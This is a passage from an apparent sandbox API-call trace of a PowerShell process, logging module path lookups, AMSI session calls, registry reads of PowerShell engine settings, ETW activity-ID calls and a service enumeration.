nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0096.368] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0096.368] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0096.368] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0096.368] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0096.368] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0096.368] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0096.369] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0096.369] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0096.369] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0096.369] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0096.369] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0096.370] AmsiCloseSession () returned 0x315cd38 [0096.370] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x87c [0096.375] CoTaskMemFree (pv=0x7648928) [0096.375] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0096.378] CoTaskMemFree (pv=0x7648928) [0096.379] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0096.379] WTGetSignatureInfo () returned 0x0 [0096.431] CertDuplicateCertificateContext (pCertContext=0x7379178) returned 0x7379178 [0096.431] WinVerifyTrust () returned 0x0 [0096.433] CoTaskMemFree (pv=0x75c8178) [0096.433] CoTaskMemFree (pv=0x7646180) [0096.433] CertFreeCertificateContext (pCertContext=0x7379178) returned 1 [0096.433] AmsiOpenSession () returned 0x0 [0096.433] AmsiScanString () returned 0x80070015 [0096.437] CoTaskMemFree (pv=0x7459318) [0096.750] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843debc | out: phkResult=0x843debc*=0x85c) returned 0x0 [0096.753] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dedc, lpData=0x0, lpcbData=0x843ded8*=0x0 | out: lpType=0x843dedc*=0x1, lpData=0x0, lpcbData=0x843ded8*=0x56) returned 0x0 [0096.753] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dedc, lpData=0x5439c5c, lpcbData=0x843ded8*=0x56 | out: lpType=0x843dedc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843ded8*=0x56) returned 0x0 [0096.753] RegCloseKey (hKey=0x85c) returned 0x0 [0096.754] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843debc | out: phkResult=0x843debc*=0x85c) returned 0x0 [0096.754] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dedc, lpData=0x0, lpcbData=0x843ded8*=0x0 | out: lpType=0x843dedc*=0x1, lpData=0x0, lpcbData=0x843ded8*=0x56) returned 0x0 [0096.754] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dedc, lpData=0x5439f70, lpcbData=0x843ded8*=0x56 | out: lpType=0x843dedc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843ded8*=0x56) returned 0x0 [0096.754] RegCloseKey (hKey=0x85c) returned 0x0 [0096.754] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843debc | out: phkResult=0x843debc*=0x85c) returned 0x0 [0096.755] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dedc, lpData=0x0, lpcbData=0x843ded8*=0x0 | out: lpType=0x843dedc*=0x1, lpData=0x0, lpcbData=0x843ded8*=0x56) returned 0x0 [0096.755] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dedc, lpData=0x543a26c, lpcbData=0x843ded8*=0x56 | out: lpType=0x843dedc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843ded8*=0x56) returned 0x0 [0096.755] RegCloseKey (hKey=0x85c) returned 0x0 [0096.755] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843debc | out: phkResult=0x843debc*=0x85c) returned 0x0 [0096.756] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dedc, lpData=0x0, lpcbData=0x843ded8*=0x0 | out: lpType=0x843dedc*=0x1, lpData=0x0, lpcbData=0x843ded8*=0x56) returned 0x0 [0096.756] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843dedc, lpData=0x543a580, lpcbData=0x843ded8*=0x56 | out: lpType=0x843dedc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843ded8*=0x56) returned 0x0 [0096.756] RegCloseKey (hKey=0x85c) returned 0x0 [0096.756] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843df08 | out: phkResult=0x843df08*=0x85c) returned 0x0 [0096.757] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843df28, lpData=0x0, lpcbData=0x843df24*=0x0 | out: lpType=0x843df28*=0x1, lpData=0x0, lpcbData=0x843df24*=0x56) returned 0x0 [0096.757] RegQueryValueExW (in: hKey=0x85c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843df28, lpData=0x543a87c, lpcbData=0x843df24*=0x56 | out: lpType=0x843df28*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843df24*=0x56) returned 0x0 [0096.757] RegCloseKey (hKey=0x85c) returned 0x0 [0096.759] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x7648928 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0096.759] CoTaskMemFree (pv=0x7648928) [0096.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x17 [0096.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0096.759] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e04c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e04c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x33, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.759] SetEvent (hEvent=0x87c) returned 1 [0096.759] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x843e25c*=0x87c, lpdwindex=0x843e07c | out: lpdwindex=0x843e07c) returned 0x0 [0096.760] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0096.760] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer="瞨ݤ鑠݅") returned 0x0 [0096.760] CoTaskMemFree (pv=0x32b7bc8) [0096.760] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e350 | out: lpConsoleScreenBufferInfo=0x843e350) returned 1 [0096.801] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x44c, lpConsoleScreenBufferInfo=0x843e350 | out: lpConsoleScreenBufferInfo=0x843e350) returned 1 [0096.905] CoTaskMemFree (pv=0x32b7bc8) [0096.926] CoTaskMemFree (pv=0x32b7bc8) [0096.926] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x37, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.926] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x33, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.926] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x37, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x37, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.933] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.933] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x37, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.933] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.936] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x39, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.936] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x38, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.936] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x39, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x39, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0096.958] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297148 [0096.964] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.038] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.038] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.049] CloseServiceHandle (hSCObject=0x3297148) returned 1 [0097.050] CoTaskMemFree (pv=0x744e580) [0097.050] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.050] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.050] CoTaskMemFree (pv=0x744e580) [0097.050] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.050] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.050] CoTaskMemFree (pv=0x744e580) [0097.050] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.050] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x39, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.050] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.051] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.051] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.051] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.051] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.051] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.051] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.051] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297300 [0097.052] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.052] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.052] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.056] CoTaskMemFree (pv=0x744e580) [0097.056] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.056] CoTaskMemFree (pv=0x744e580) [0097.056] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.056] CoTaskMemFree (pv=0x744e580) [0097.056] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.056] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.057] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.057] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.057] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.057] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.057] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.057] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.057] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x3f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.057] OpenSCManagerW (lpMachineName=0x0, 